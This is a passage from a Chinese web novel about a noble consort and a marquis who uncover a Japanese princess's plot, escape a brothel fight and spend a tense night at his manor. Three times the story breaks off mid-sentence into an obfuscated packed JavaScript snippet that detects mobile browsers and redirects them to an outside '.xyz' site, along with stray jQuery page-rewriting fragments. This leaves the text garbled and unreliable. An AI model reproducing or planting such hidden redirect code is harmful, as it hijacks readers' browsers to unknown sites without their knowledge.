于是,她试着挣扎、反抗,用脚踹,用牙咬,却在那人的桎梏下被困的死死的,连带着身下那张雕花木床,发出吱吱的暧昧声响。 “别乱动,闹够了没有?” 头顶忽然传来一个有些愠怒的声音。 云昭昭难以置信地抬头,只见周徵那一双幽深的眸子正死死地盯着她,倒映着房中烛火的光亮,仿佛要将她吸进去。 “怎么是你?”云昭昭惊呆了。 她的心扑通扑通地乱跳着,不知是因为刚才的紧张,还是因为被他这么看着。 “我也想问,”周徵语气十分不悦,“你不在宫里好好待着,怎么会在这里?拍卖初夜?明姝姑娘?陛下知道吗?” 云昭昭的脸刷地一下红了,一想到刚才自己做了什么事,说了什么话,双颊便又热又辣,恨不得找个地缝钻进去。 但被周徵这么质问,她不觉有些委屈,又不是她想到这醉仙楼里来的。 她的眼神当即黯了下去,没好气地道:“用不着你管。” “说好了你在宫外的安全由我负责的,我为何不能管?”那人不依不饶道。 云昭昭只好又气又羞耻地反问:“那你又为何要来这里?嗯?两千两,还是黄金,你可真有钱啊!” 周徵只好解释:“我是来追查那件事的。” 云昭昭便说:“我也是来追查那件事的。” 她话音刚落,隔壁忽然传来一阵开门关门的声音,看来,是那两位东瀛将军到了。 “你快放开我。”云昭昭压着声音对周徵道,“人来了人来了。” 周徵下意识地松手。云昭昭顾不上他,急不可耐地凑到那面墙那里,耳朵贴着墙面,偷听起来。 周徵小心翼翼地跟在她身后,看见她这一系列的举动,发现她竟真的跟自己一样,也知道那两个东瀛人的动向。 见他面露疑色,云昭昭没好气地说:“手给我。” 那双灵动的凤眸里像是蕴着一道道流光,周徵有些呆了,木讷讷地将手递了出去。 女子嫰葱般的指尖在他宽大的手掌上比划着,手心传来微微的痒意,勾得他心里一丝丝触电般的酥麻。 “明白了吗?”云昭昭轻轻瞪了他一眼,问道。 “什么?”周徵蓦地回过神来,问道。 云昭昭彻底没辙,只好一把拽过他的手,又重重地写了两个字:“汀雪。” “她在这儿?”他这才反应过来,压低了声音问她。 云昭昭点点头,用唇语告诉他:“她背后的主人也在这儿。” 周徵有些惊诧,她没想到眼前的云昭昭竟然已经独自查到了这么多。 他不知道她是怎么来到醉仙楼的,但他可以猜到,今日这所谓的明姝姑娘,所谓的初夜拍卖,一定是她事先预谋好了,为了今日隔壁的这场密会。 可她一定不会预料到今日最后拍价最高的会是自己,如果此刻出现在房间里的不是自己,是齐王,亦或是别的男人,那她又将要如何应对呢? 就凭她那三脚猫的功夫?还是凭她那殊死一搏的狠劲儿? 周徵不敢再往下继续想。 他看着面前女子专心致志地听着隔壁的谈话,没有任何惧色,也没有任何悔意,心里没由来地生气,脸色也一下子冷了下来。 云昭昭的全部注意力都在对面的谈话上,根本没注意周徵的脸色,更无从知晓他心里那些弯弯绕绕。 她听见姓荒川与须贺的两位将军,用蹩脚的中国话同三名女子问候,然后带来了东瀛国内的消息。 东瀛现任天皇名为秀和,十多年前,他在国内发动政变,取代了身为前代天皇的哥哥,杀死了皇太子。当时恰逢大周与东瀛在东南沿海鏖战多年,他在位初期结束战争后,曾有一段时期在国内提振生产,恢复国力,可惜好景不长,他很快便暴露了贪婪荒1淫的本性,对内整日纵情声色,任凭朝中佞臣作乱;对外则向大周称臣,年年上供。 据荒川与须贺将军称,如今东瀛国内已有诸多世家府系对其不满,甚至准备再次发动政变推翻秀和天皇的统治。而他们面前那位曾经在政变中乘船远逃,流落大周的公主,如今便成了唯一正统的血脉。 他们此次到大周来便是为了寻公主回去,带领大家推翻秀和的暴政。 “我不回去。”只听那公主说,“如今东瀛国内已是积重难返,就算我回去了,推翻了我那可怜的叔父,最后面对一个孱弱不已的国家,不还是一样,要向大周俯首称臣吗?” “这……可是公主,”一名将军为难地说,“您父皇在世时与大周鏖战许久,后来又逢国内政变,目前东瀛的兵力,已不足以同大周抗衡。” “谁要用我们自己的力量?”公主愤然道,“荒川将军,你也读过孙子兵法,应该知道‘百战百胜,非善之善者也;不战而屈人之兵,善之善者也’吧?” “公主的意思是……” “借刀杀人,再加一招釜底抽薪。” 荒川将军沉默片刻后说:“还请公主明示。” 公主解释道: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16137162|179884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “借刀杀人的意思是,你可知大周朝内部如今也是风雨飘摇?大周皇帝忌惮内阁阁老云琛已久,双方各有军队以及追随者,我已在其中做了些手脚,只要让其中一方逼得另一方不得不殊死反抗,我们便可隔岸观火了。” “况且,今年夏天大旱,收成不好,等入了冬,突厥那边为了粮食势必是会南下侵扰大周的。我还联系了原鲜卑部族的王子,他在西北还有些游荡的旧部,届时,咱们只需要派少量战船,与突厥,鲜卑等族联合,声东击西,就能打大周一个措手不及。” 荒川将军闻言,对公主的心计与谋略称赞不已。 另一位须贺将军却忧心忡忡地问道:“公主所言甚是有理,只是我东瀛战力衰微,比不得突厥人野蛮,这样联合瓜分大周,又能从中捞到多少好处?恐怕是得不偿失?” “呵。”公主笑了笑,“这边是我说的釜底抽薪了。只要我们手中控制着最关键的那枚棋子,大周这盘棋,还不是我们想怎么下就怎么下?” “棋子?” 汀雪闻言再也忍不住了,脱口而出地吐槽道:“蠢啊,釜底抽薪,公主说的是大周的皇帝!” 云昭昭与周徵闻言,皆是一惊。二人默契地看了看彼此,脸色都有些复杂。 “汀雪!”公主厉声喝道,“这里没你说话的份儿,当心隔墙有耳!” 云昭昭心里顿时有了一种不祥的预感。 果然,只听芷清突然在一边说道:“奇了怪了,刚才隔壁明姝那边,闹了那么大的动静,连床都晃得吱呀吱呀地响,怎么才这么一会儿,就没声儿了?哪个男人会这么快就完事儿?” 荒川将军低声道:“公主,我与须贺君一起去那边看看。昨日我就觉得不对,我们进城后似乎有人在一路跟踪我们。” 这一边周徵听后立刻低声嘱咐云昭昭道:“这两个东瀛人武功不弱,有些难对付。我昨日跟了他们一路,差点还跟丢了。你且找个地方躲好,看情况不对就先趁机逃跑,别管我。” 云昭昭见周徵一副要与对方决一死战的架势,立刻表示了反对:“不行,你傻吗?我们好容易查到了对方的狐狸尾巴,眼看着就要水落石出了,怎么能提前暴露身份,将狐狸吓跑?” 她说着,一把拽住周徵的胳膊,以不容拒绝的姿态,拉着他坐到床榻边。 周徵意识到云昭昭的举动,瞬间大惊失色:“你,你要做什么?” “脱衣服啊,既然是作戏,就要做全套!” 说完她二话不说,红着脸褪去了身上的纱衣,只留下一条亵裤与肚兜,像只泥鳅一样钻进了锦被中。 周徵:“……” 见周徵像跟木头一样迟迟杵在原地未动,正好外面响起了荒川与须贺二人敲门的声音,云昭昭有些急了,连忙催促道:“快点啊,你还愣着干什么?” 眼瞅两个东瀛人即将破门而入,云昭昭也顾不得什么,索性直接上手扒拉起周徵的衣服来。 她一边扒一边吐槽古人真的刻板又保守,都火烧眉毛了还在意什么男女大防,却殊不知自己的双颊,已经染上了与那褪下的红纱裙一般绯红的颜色。 丝滑如云的锦绸,柔软鲜亮的红纱,还有冰肌似雪的白皙,以及眼前半遮半掩的大片春光。 周徵的眸光暗了暗,终于下定决心般俯下1身,拥住这转瞬即逝的美好。 如同许多次,梦里经历过的那样…… 待荒川与须贺二人假装喝醉了酒,破门而入时,看见的就是一室旖旎春色,与醉仙楼其他房间上演的情形无异。 只是那被拥在怀中的女子,似乎因是初经人事的缘故,有些羞怯,半张脸埋在锦被间,只露出了一席如云似墨的长发。 “不好意思,”荒川装着摇摇晃晃的醉酒模样对周徵道,“喝多了,走错房间了。”说着他架起已经“醉得”快不省人事的须贺,退出了房门。 二人走回屋,向公主报告了此间情形。 公主秀美紧蹙,想了又想,最后还是说:“今天就到这里吧,这里不安全,釜底抽薪一事,我先去做着,后面有需要自会吩咐你们二人,你们先回去,在东瀛国内调集五万人的军队,乘船南下待命。” “是,公主。” “等等。”公主最后叫住二人道,“宫中尚有宫禁,我与汀雪要先行离开。隔壁那两人,我想了想,不管他们听了没有,或者听到了多少,以防万一,还是要斩草除根。” “是。” 说完公主便与汀雪重新戴上面纱,离开了。 二人一走,荒川与须贺二人便依照公主的吩咐,再次撞开了云昭昭房间的门,然后刷地一下拔出了佩刀。 “你们什么人!” 说时迟,那时快,只见两道灰影闪过,莫风与燕二像是隼鸟一般冲向房间内。 二人躲在楼梯处观察已久,此刻预判到周徵有危险,便什么也不顾地冲了过来。 结果,当莫风与燕二一进屋,映入眼帘的,除了两个凶神恶煞的东瀛持刀武士外, 就是他们曾经的上司——不近女色、孤高自持、克己复礼的武安侯,正上身未着片缕地与云贵妃躺在一处…… 62. 真情 现场一下子多了几个人,混乱不堪。 周徵飞快地用锦被裹住云昭昭的身体,只剩脖子以上露在外面,然后将她拦腰抱起。 荒川、须贺二人二话不说,拔刀向周徵与云昭昭劈去。 银白的刀光卷着疾风,眼瞅着就要斩下,云昭昭吓得闭上了眼,喉咙已经紧的发不出任何声音。 下一秒,周徵抱着她一跃而起,躲闪过荒川的一刀,然后一脚踩在妆台上,哗啦一声,铜镜、妆奁、香炉应声倒地。 而后须贺又立马挥刀而来,东瀛的武士刀比中原地区的长刀要长几分,周徵只好向后一仰,躲过须贺的第一刀,随后借着力一跃向前,一脚踹在须贺的胸口。 须贺结结实实挨了这一下,口中发出一声闷哼,随后吐出一口血。 “敬酒不吃吃罚酒!”他大吼一声,与荒川联合,向周徵发动了更猛的攻势。 “你俩还愣着干什么!赶紧拦住他们!”云昭昭见周徵又要护着自己,又要多开两人的夹击,连忙对燕二与莫风大吼道。 二人立马加入战斗,一时间,狭小的房间里充斥着刀光剑影,兵器碰撞间,发出噼里啪啦的声响,木椅被内力震碎,天花板上的木头被刀尖划到,像是纸片般簌簌落下。 三楼的这间房中的动静很快惊动了楼里的其他人,老鸨紫瑛与红珠闻声赶来,正好碰见芷清从房中出来。 “妈妈,不好了,明姝、明姝那间房里,有刺客!来人呐!有刺客!快!抓刺客!”芷清提着裙子大喊道。 方才她见两位将军没能成功得手,便试图寻求帮手。 为了防止恩客闹事或教训一些姑娘,楼里养了不少专门的打手,平时没事时便作为龟奴帮着做些杂活。 芷清这么大喊,楼里训练有素的打手们一下子集结起来,朝着云昭昭他们的房间跑去。 “武安侯,你们这是要做什么?要把我醉仙楼拆了吗?”紫瑛小跑着到门口,看见房间里的一片狼藉,气得快要吐血。 那洒金的红纱帐,那哥窑的白瓷香炉,那紫檀木嵌着珊瑚的妆奁……每一处都是银子啊! 更令她生气的是,她没等来周徵的解释,反而是燕二与莫风二人异口同声地回了她一句:“锦衣卫执行任务,闲杂人等通通退散!” 紫瑛本来还奇怪像武安侯这样的人,怎会今日大驾光临醉仙楼,还出手这么阔绰。 一开始,她真以为是新来的明姝太有魅力,吸引得武安侯都为之动容。 现在听二人这么一说,她突然想明白,原来一切都是做好的局。 既然是锦衣卫的任务,那她那两千两黄金,岂不就是个子虚乌有的幌子? 早知道,她就应该早点一锤定音,让齐王拔得头筹的。至少,齐王比起那一向低调谨慎的武安侯,是真的有钱任性。 紫瑛气得发抖,她如何都要出了这口气,于是命令楼中的打手们道:“给老娘把他们都抓起来!” 打手们手拿各种暗器、棍棒、刀剑,一拥而上,不一会儿就有人已经挤进了房间里。 周徵见自己这边人数落了下风,自己又要顾着云昭昭的安全,果断命令道:“跑!” 燕二不愧是他曾经最得力的属下之一,与他配合甚是默契。他挥刀化解了后面的乱剑,对周徵吼道:“侯爷,就是现在!我们俩断后,你们赶紧走!” 周徵不再恋战,当即抱稳了怀中的云昭昭,从窗口一跃而下。 外面夜色已深,一弯弦月在重云掩映中,若隐若现,夜风呜呜地吹得房檐上的流苏与彩绸烈烈而舞,摇摇欲坠。 “给我拦住他们!”紫瑛怒吼道。 虽然莫风与燕二暂时绊住了两个东瀛人,但醉仙楼豢养的那群打手里也有轻功不错者,很快也追了过来,眼看着就要跃出窗台。 周徵见状,已顾不上其他,立马抱着云昭昭纵身跃上旁边的屋顶,沿着屋顶的房梁上掠过。 这时还未到二更,清漪坊过去就是京城的主街临安坊,街上仍有不少商客与行人,周徵方才千钧一发之际,只顾着替云昭昭遮掩身子,自己的上身依旧是未着寸缕。 于是,当晚临安坊的不少路人都看见了一名赤裸上身的男子,抱着一个被锦被裹着的姑娘在房顶上狂奔。 周徵所到之处,便能听到下面街上的人们发出阵阵惊呼。 这惊呼声羞的云昭昭面红耳赤,心跳如鼓。她只好把头往周徵的胸口处埋了埋,让被子遮着自己的脸。这样一来,她便只有一头披散着的秀发露在外面,随风飞扬。 反正社死的是周徵。 想到路人视角所看到的这幅诡异场景,云昭昭忍不住噗嗤地笑了起来。 周徵仿佛看穿了她心里所想,立马冷声命令道:“不许笑。” 但他越是这样一本正经板着脸,云昭昭想到那个场景,越是笑得停不下来,甚至肚子都有点儿疼了。 周徵气恼得不行,耳根有些发烫,当即威胁道:“再笑,再笑就把你扔下去。” “别,我不笑了还不行吗!”云昭昭努力憋着笑说道,但话音刚落,却还是忍不住地笑岔了气儿。 周徵:“……” “我错了我错了。”云昭昭发现周徵托着自己的手有些不稳,连忙道歉。 可她实在忍不住啊,于是只好用被子捂着嘴,不让自己发出声音来。 结果就是周徵一低头,便能看见怀中的锦被抖如筛糠,脸色更是阴沉。 幸好他这时还不知道,今晚的遭遇之后会在京中被传成什么模样,若是知道了,非得气得生生呕血不可。 此时已过了宫禁之时,但就算没有,周徵也不敢这幅模样带着云昭昭回宫;而将她送回云府,那更是送上门去讨打。无奈之下,他只好抱着云昭昭回了武安侯府。 侯府的管事桂嬷嬷是个寡妇,她丈夫去得早,儿子又常年在岭南一代做生意,在周徵出宫立府后她就在侯府做事,到如今已是府里的老人了。 周徵常年在外奔波,府中又没有女眷,因此日子格外清闲,再加上平时周徵对她礼遇有加,只将她当做半个长辈尊敬,因此她私心里也将周徵当成了自己的儿子一般。 此番她见周徵这等装束回府,怀中又用锦被抱着一名只穿了肚兜的女子,先是一惊,而后回过神来便是一喜。 桂嬷嬷心想,自家主子这回总算是开窍了,这冷清清的武安侯府将来总算是要热闹起来了。 她一边想一边喜滋滋地提着灯笼,上前问道:“侯爷,您有何吩咐,老奴这边差人去准备?” 然而周徵并不像有什么喜事的样子,反而阴沉着脸道:“去给她准备一套干净的换洗衣服。” “是。”桂嬷嬷乐呵呵地应道,她想了想,又多问了一嘴,“那侯爷,府中现有空房二十四间,请问要将这位……姑娘安排在哪个院里?” “随便。”周徵说着将云昭昭连人带被子一起放在花厅屏风后的椅子上,转身便离开了。 桂嬷嬷服侍周徵几年,已摸透了他的脾性,是个克己复礼,有什么事都憋在心里的性子。 看着缩在锦被里的云昭昭姿色不凡,嘴角含着一点羞涩笑意,一张俏脸儿红扑扑的,像是三月里盛开的桃花,桂嬷嬷忽然福至心灵,当即自作主张,要为主子推波助澜,便将云昭昭安排在了周徵的卧房。 云昭昭不明所以,到了房间后见房中陈设简单,便以为只是侯府中的一般客房,当即谢过了桂嬷嬷,到内室换了身衣服。 出来后她百无聊赖地在房间中参观,这间卧房布置虽简单,面积却着实不小,连带着书房一起,足有三丈见方。 房间内虽只有一床一书桌,一套衣柜,三排书架,几盆兰草,却样样精致,雅而不俗。窗外种有千杆翠竹,夹道而立,道上以卵石铺设,其间苍苔点点,绿意幽幽。微风拂过,只听竹叶潇潇,鼻尖萦绕着淡淡的竹香。 云昭昭很喜欢这里清清爽爽的意境,她在房中踱步片刻,便被墙上的一副字给吸引住了目光。 那是用行草书写的一幅前朝于少保的《石灰吟》,整幅字笔锋苍劲浑厚,但唯独到了末句“要留清白在人间”时,那“人间”二字,一撇一捺竟像是弯曲的蚯蚓般抖动,仿佛执笔者写到这里,因为胸中激荡的感情太过强烈,笔尖控制不住,便将收尾写得颤抖不已,留下一个长长的拖尾…… “这是我们侯爷的字。” 云昭昭闻言回头,见桂嬷嬷端着托盘进来,笑眯眯地向自己介绍。 她朝她颔了颔首,问道:“看来你们侯爷很喜欢这首诗。” 桂嬷嬷笑着说:“老奴不知,也不懂诗,只知道侯爷一向对自己极为严苛,有什么事都藏在心里,总爱跟自己较劲儿。他平时虽然话少,为人严肃,但他的心却是好的。” 云昭昭不知她说这些是何意,只能笑着附和:“嬷嬷说的是。” 桂嬷嬷将托盘放下,盘中放着两碗冒着热气的桂花莲子羹,此外还有一罐小药膏,正是云昭昭之前送予周徵的羊脂玉容膏。 “姑娘,老奴想着你们今晚没吃什么东西,便让厨房熬了这两碗莲子羹,清热又滋补,你一碗,侯爷一碗,另外这是极其稀罕的羊脂玉容膏,去疤痕最是有效,请姑娘务必要记着督促侯爷抹他额上的伤疤。” 云昭昭打开看了看那药膏,只见里面被挖去了一小块,看来周徵还是有定时涂抹。她欣慰道:“我知道了,这一罐药还是我送她的呢,待会儿我肯定不会忘的。” 桂嬷嬷一听这药竟然是云昭昭送的,脸上笑容更甚,心里觉得侯爷果然没看错人,对云昭昭又多了几分喜爱。 二人正说着,只见周徵穿着一身练武的袍子走了进来。他的额间、脖颈上俱是汗珠,鬓角的头发微湿,敞开的衣领处,露出一小块结实的胸肌。 他从八岁学武开始,便要早晚练功,十多年一直保持着这个习惯,风雨无阻。 周徵习武回来,见到云昭昭在自己的房间,脸色一下子变了。 “她怎么会在这儿?嬷嬷你怎么安排的?”他质问桂嬷嬷道,语气有些不快。 桂嬷嬷也没料到主子竟是这种反应, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16145209|179884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 因为云昭昭在场,她只好撒谎打了个圆场,解释道: “侯爷,府中空房间虽多,但因为长期没人居住,积了不少灰,还有蜘蛛网什么的。这么晚了,奴婢们也来不及收拾,所以老奴便自作主张……让云姑娘暂时住这里。” 云昭昭这才知道,此地原来是周徵的房间。她一抬眼便看到他板着一张脸,冷冰冰地瞪着桂嬷嬷,当即就生气道: “你凶什么凶,我当这是什么地方呢,原来是侯爷的房间。可惜侯爷的房间再金贵,我也不稀罕住这儿!桂嬷嬷年纪大了,天色又晚,你不要再为难她一个老人家了,既然看不惯我,我走就是!”于是扭头便要出去。 桂嬷嬷没想到这二人碰头竟会是这种场面,当场吓得不轻,并自责不已。 然而周徵立刻上前拉住了她的胳膊,“你别走。” 说完他似乎意识到自己的动作有些逾矩,便又补了一句:“外面不安全,等天亮了,我再送你回宫。” 说着他自顾自地卷了床被子,对桂嬷嬷说:“我去东厢那间屋子里睡,嬷嬷安排着她在这里睡下吧。”说完便走了出去。 没有人知道,从自己房间出来的周徵如蒙大赦。刚才一进门,见到云昭昭在自己的房间,他的身体便不自觉地紧绷了起来。 今夜发生的一切对他来说实属荒诞,但荒诞中又渗着甜美的毒液,引诱着他情不自禁地沉沦在梦里,迟迟不愿醒来。 那日与云昭昭分别后,他一路跟踪须贺与荒川二人到驿馆,得知了花魁芷清邀约二人在第二日的拍卖会时相见。 当时他通过红珠的关系,打听到那位拍卖初夜的明姝姑娘房间居然就在芷清房间隔壁。因他们见面讨论之事可能涉及东瀛对大周的不轨之心,所以他无论如何都决心要以最高价格拍下那明姝姑娘的初夜。 周徵原本计划的是,到时与那姑娘商议,配合自己做一场戏。可是他万万没想到,这“明姝”姑娘居然是云昭昭。 明明,在那时他便可以及时抽身、一走了之的。 那样他便不会与她有那些亲密的举动,更不会冒着身败名裂的风险也要将她从楼中救出。 后来发生的一切,便再也不受他控制。 当荒川与须贺二人再次返回要对他们下手的时候,他第一反应居然是不能让云昭昭的身份泄露出去,否则被宫里的人知道,一定会质疑她的清白。 所以当她在笑自己赤1裸着上身时,他才会那样生气。 气的不是她,而是自己。 是自己不受控制的心和身体。 更是自己没有保护好她,才让她陷入险境。 而她偏偏陷入险境,仍要不顾一切地想要去探寻所谓的真相。 这让他更后悔那天没有看着她平安走进宁远门,不对,应该是看着她平安回到昭阳殿才能放心…… 周徵满腹心事,洗完澡,换了身衣服,躺在东厢的小床上,却迟迟不能睡着。 之前在醉仙楼里被强行扼杀下去的欲望,此时如生了根的藤蔓一般,发疯似地蔓延。 闭眼尽是火红的纱衣,是怀中的软玉,是她触碰自己的柔夷…… 周徵努力地驱逐着脑海里这些不恰当的念头,可就在这时,有人轻轻地敲了敲厢房的门。 “进来。”他痛苦地闭上眼应道。 来人是云昭昭,她刚沐浴完,披散着头发,身上还带着淡淡的花香,就这样穿好衣服过来了。 “这碗桂花莲子羹是桂嬷嬷给你熬的,她说你晚上没有吃东西,我刚刚尝了一下,还是温热的,吃着正好。” 云昭昭说着将碗放在榻边的小案上,然后拿出那罐羊脂玉容膏。 “这个是我之前给你那罐膏药,桂嬷嬷说你今晚还没涂抹。”云昭昭说着,见周徵一动不动地闭眼躺在床上,以为他困了,便好心道,“你这样躺着吧,我帮你抹上。” 说完她用食指指肚轻轻点了一点,就要往周徵额上的伤口处涂抹。 谁知,周徵竟猛地从床上弹起来,将云昭昭吓了一跳。 他一把夺过云昭昭手中的膏药,冷冷地说:“我自己会抹,不劳贵妃动手。” 随后,看着云昭昭呆呆的,欲哭无泪的模样,他还是狠下心下了逐客令: “娘娘,夜已经很深了,嫔妃与臣子,身份有别,还请娘娘自重……” 眼瞧着自己的好心喂了驴肝肺,云昭昭又气又羞,自觉讨了个没趣。她也不知道为什么,今天晚上的她变得有些不像她自己了。 她总是会觉得委屈,总是会想在周徵的面前哭,总是因为他的冷漠而气恼。 云昭昭不愿再与周徵同处一室,索性吸了吸鼻子,将手中的药膏重重地砸在桌上,便飞快地推门离开了。 她不知道是,她人虽然离开了,可身上沐浴完的香味还残留在东厢房的空气中。 周徵的神经被撩拨着,心脏在狂乱地跳动着,身体在紧绷着,欲望在拼命地燃烧着。 最后,当他实在受不了时,便只好无奈地起身,又去泡了个冷水澡。 63. 暖阳 这一夜云昭昭睡得格外沉,一直到了第二天日上三竿才醒来。 吃早膳的时候,她瞧见周徵耷拉着一张脸,顶着两个大大的黑眼圈,下巴上青色的胡茬乱糟糟地冒出了头,一副人欠了他二五八万的模样。 她惦记着昨夜周徵最后对她说的那句话,因此便直接无视了他,只当他是空气,反而朝着桂嬷嬷甜甜地笑着,一边啃着包子,一边嘘寒问暖。 桂嬷嬷受宠若惊,于是又将刚蒸好的桂花糕夹了一个进云昭昭的碗里,二人有说有笑,倒像是一对关系深厚的主仆,反而周徵被冷落一边,看起来像个外人似的。 后来早膳吃的差不多了,还是桂嬷嬷瞧见周徵脸色不大好,眼下尽是淤青,才关切地问了一句:“侯爷昨夜是没睡好吗?怎么看着身子不大舒服?” 周徵不动声色地抬眼看了云昭昭一眼,淡淡道:“无妨,只是东厢的床有些硬了。” 桂嬷嬷半信半疑,她知道她家侯爷曾经为了练武,连未铺就任何被褥的木板都睡了好些年,怎么会嫌东厢的床硬呢? 但她并不是个爱刨根问底的人,尤其是伺候周徵这样的主子,他说什么她就信什么,于是麻利地拣起桌上的空碗碟,退了出去。 实际上,周徵昨夜确实一夜没睡好,不是因为东厢房的床太硬,而是因为他的心太乱。 他平时练武做早课都是卯时起,而今日天尚且黑着,刚过寅时他便起来,一练就是两个时辰。好在疯狂练武也有让人平心静气的作用,以至于他现在看到云昭昭,便能像从前那样平心静气,坐怀不乱。 二人相对无言地用完早膳,还未等周徵更衣将云昭昭送回宫,侯府的门房就匆匆来报说醉仙楼的红珠急着要见他。 周徵换好衣服,发现红珠坐在门厅里,一开口便向他坦白道自己是被老鸨紫瑛打发着来武安侯府要钱的。 红珠在郭院判死后,周徵可怜她,曾给过她一些接济,因此她心里一直心存感激。 而紫瑛作为她曾经在楼里的好姐妹,在她如今孤寡伶仃之时又不计前嫌地接纳了她,现在差她来找周徵要钱,弄得她夹在中间,里外都不是人。 红珠只能委婉地同周徵商量道:“侯爷,奴家今日来也实在是迫不得已才向侯爷开这个口。楼里因为明姝姑娘得罪了波斯的珠宝商,要了天价索赔,而昨晚拍卖时,您又截胡了齐王,弄得他老人家失了面子,再加上紫瑛姐姐失了明姝这棵摇钱树,昨晚的打斗又让楼里的房间亟需修缮……” 说到这里连她自己都有些不好意思,但也只能硬着头皮赔笑道:“侯爷,我们醉仙楼也是靠着一代代的妈妈和姑娘们,一点一点经营起来的,这几天楼里的损失着实不小,按照紫瑛姐姐的意思,侯爷您要么把明姝姑娘还回去,要么就干脆替她赎身,一共是……黄金……三千两。” 黄金三千两,周徵心里一阵冷笑。 按一亩良田一金算,整个京畿一代较好的土地也不过五千亩,光一个醉仙楼姑娘的赎身费就要三千两黄金,那老鸨紫瑛可真是敢开口。 于是周徵只好将云昭昭搬了出来,反问红珠道:“本侯还想问你们醉仙楼,这明姝姑娘你们是从何处寻来的?” “这……”红珠吞吞吐吐,但瞧见周徵脸色不大好,也只得实话实说,“奴家也不敢瞒侯爷,其实明姝姑娘是我们妈妈,从两名流浪汉那里买来的……这真不怪紫瑛姐,明姝她……也并未提过自己是哪户人家的女儿。” “哼,不知来历就敢私自进行买卖,逼人接客,我看你们醉仙楼也是越来越目无法纪了。”周徵道,“你可知你们所谓的明姝姑娘究竟是何人?昨日若不是本侯有其他事要查,恐怕你们的醉仙楼明日就会成为一片废墟……” 红珠一听,吓得脸都白了,连忙试探地问道:“侯爷,奴家同您也算有几分矫情,夫君遭人暗害后,您的恩情奴家一直铭记在心,可否向奴家透露些许?” 说着她又向周徵保证:“紫瑛姐姐管理醉仙楼大大小小事务,难免被银钱蒙蔽了双眼,奴家也只好替她多小心谨慎些,您放心,奴家一定不会告知紫瑛姐。” 周徵看着她,最终指了指头顶的天空。 红珠抬眼望去,只见碧空如洗,红日高照,一时没有任何头绪。 周徵也不再多言,只道:“回去告诉你们紫瑛妈妈,贵楼违规交易人口的事,昨日也有锦衣卫在场,想来他们也不会坐视不理。况且光是昨晚一场拍卖的门票钱,都不知六千两银子了,贵楼怎么会没钱呢?” 红珠心不在焉地听着,眼睛仍瞅着天空,还在思考着方才周徵提出的谜题。 天?难道是跟皇家有关?亦或是蓝色,蓝家?可京城里没有姓蓝的世家权贵。 忽的,她的眼睛终于注意到了头顶上方悠悠飘过的一片白云。 她猛然一惊,脚下发软,差点就踉跄着扑倒在地。 对了,云,云家!相传云氏千金有倾国之姿,后入宫封为贵妃。她怎么能把这么重要的事情忘了呢?想到那日云昭昭来楼里时受的伤,红珠不由地倒吸一口凉气。 见她已经心里有数,周徵又说:“还请红珠姑娘前去跟你们妈妈传个话,我武安侯府如你所见,陈设简陋,家徒四壁,实在拿不出三千两黄金,若是她非要钱的话,本侯便只能将这侯府一整个儿地抵押给她了。” 红珠此时已被云昭昭的身份吓得面无血色,只得尴尬地憋出一个笑,说道:“是,那奴家便回去带话给紫瑛姐姐,再好好劝劝她。只是……” 她想了想,还是说:“明姝……姑娘先前被流浪汉所掳去,到我们楼里,虽仍是完璧,但……身上却受了不少的伤,若不是紫瑛姐买下她,恐怕她现在已经凶多吉少。” 周徵会意,又向她打听道:“那两名流浪汉你可还记得有什么特征样貌?” “当时紫瑛姐姐买下她时,奴家也不曾在场,只是听说是一胖一瘦,那个胖子一身蛮力,而瘦子脸上有很多麻子,别的便不得而知了。” 周徵听后便差人将她送出府,红珠回到醉仙楼里,倒是很讲义气地并未向紫瑛透露云昭昭的真实身份,只说是他们得罪不起的人。 随后,她又将周徵的话原封不动地带给了紫瑛。紫瑛一听气得吐血,却又拿周徵无可奈何。她不愿白吃这个哑巴亏,后来没少让人将那晚武安侯在醉仙楼里的“风流韵事” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16149504|179884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 向外扩散。不过,这都是后话了。 周徵送走红珠后回到内院,见云昭昭已穿戴打扮规整。 同样是接近中午,同样是晴好的天气,但云昭昭的脸色却不如三天前那般明艳。显然,这次出宫也让她受了不少苦头。 他不敢想象她这般容貌,在那两个流浪汉手中到底经历了什么虐待;更不敢想象那晚她一个弱女子,是如何将那身材壮硕得如同公牛的波斯商人戳瞎了眼睛的。 但她没有跟任何人提起,甚至在昨晚那样的情况下,还想着要靠一己之力探究真相。 眼看着面前的云昭昭还向之前一样气呼呼地瞪着自己,周徵忽然觉得自己胸口某处一下子柔软无比。 他鬼使神差地伸手摸了摸她的头发,结果换来的是她像见了鬼一样看着自己。 他忍不住笑了,这也是这些天来,他第一次真正地表情放松下来。 “你……你……你竟然会笑?”云昭昭盯着周徵,像是见到了什么不得了的事一般。 